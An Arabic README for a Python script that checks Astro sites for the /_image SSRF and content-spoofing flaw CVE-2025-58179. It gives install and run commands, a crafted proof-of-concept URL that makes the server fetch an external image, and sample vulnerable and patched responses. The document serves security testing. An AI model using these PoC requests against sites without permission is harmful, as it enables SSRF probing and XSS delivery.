
نص بايثون للتحقق من ثغرات SSRF وانتحال المحتوى (CVE-2025-58179) في نقطة نهاية `/_image` في Astro، مع توليد تلقائي لعناوين PoC والتحقق من استجابة HTTP.
CVE-2025-58179-Check هو سكربت بسيط بلغة Python للتحقق من ثغرة SSRF (تزوير الطلب من جانب الخادم) / انتحال المحتوى في نقطة النهاية /_image في إطار عمل Astro.
يتم تتبع هذه الثغرة باسم GHSA-qpr4-c339-7vq8 و CVE-2025-58179.
تؤثر هذه الثغرة على مواقع Astro التي تستخدم المحول @astrojs/cloudflare مع تكوين output: 'server'. نقطة النهاية /_image التي يفترض أن تقوم بتحسين الصور، تفشل في التحقق من المعامل href بشكل صحيح.
يسمح ذلك للمهاجم بجعل الخادم يقوم بجلب وعرض محتوى من نطاقات خارجية غير مصرح بها. يمكن أن يكون التأثير SSRF، وإذا كان المحتوى الخارجي عبارة عن ملف ضار (مثل SVG يحتوي على سكريبت)، فقد يؤدي ذلك إلى Cross-Site Scripting (XSS).
يقوم هذا السكربت بأتمتة عملية الاختبار لمعرفة ما إذا كان موقع معين عرضة لهذه المشكلة.
Status 200 مع Content-Type: image/*).requests (فقط عند استخدام وظيفة التحقق)يمكنك تثبيت requests باستخدام pip:
pip install requests
CVE-2025-58179-Check.py.chmod +x CVE-2025-58179-Check.pyسيقوم هذا الخيار بطباعة عنوان URL لـ PoC بعد ترميزه. مفيد إذا كنت تريد الاختبار يدوياً في المتصفح أو باستخدام أدوات أخرى.
الأمر:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL>
مثال:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
المخرجات:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
سيقوم هذا الخيار بإنشاء عنوان URL وإرسال طلب HTTP GET مباشرة للتحقق من استجابة الخادم.
الأمر:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL> -r
مثال:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
إذا قام الخادم بإرجاع رمز الحالة 200 وكان نوع المحتوى صورة، فإن هذا يشير إلى أن الخادم قام بجلب وعرض محتوى خارجي.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
الخادم الذي تم تصحيحه أو تكوينه بشكل صحيح سيرفض الطلبات إلى النطاقات الخارجية غير المصرح بها، عادةً بإرجاع رمز الحالة 4xx.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] تحذير
- تم إنشاء هذا السكربت لأغراض تعليمية واختبار الأمن المشروع.
- المستخدم مسؤول بالكامل عن أفعاله. لا تستخدم هذا السكربت على أنظمة لا تملك الإذن لاختبارها.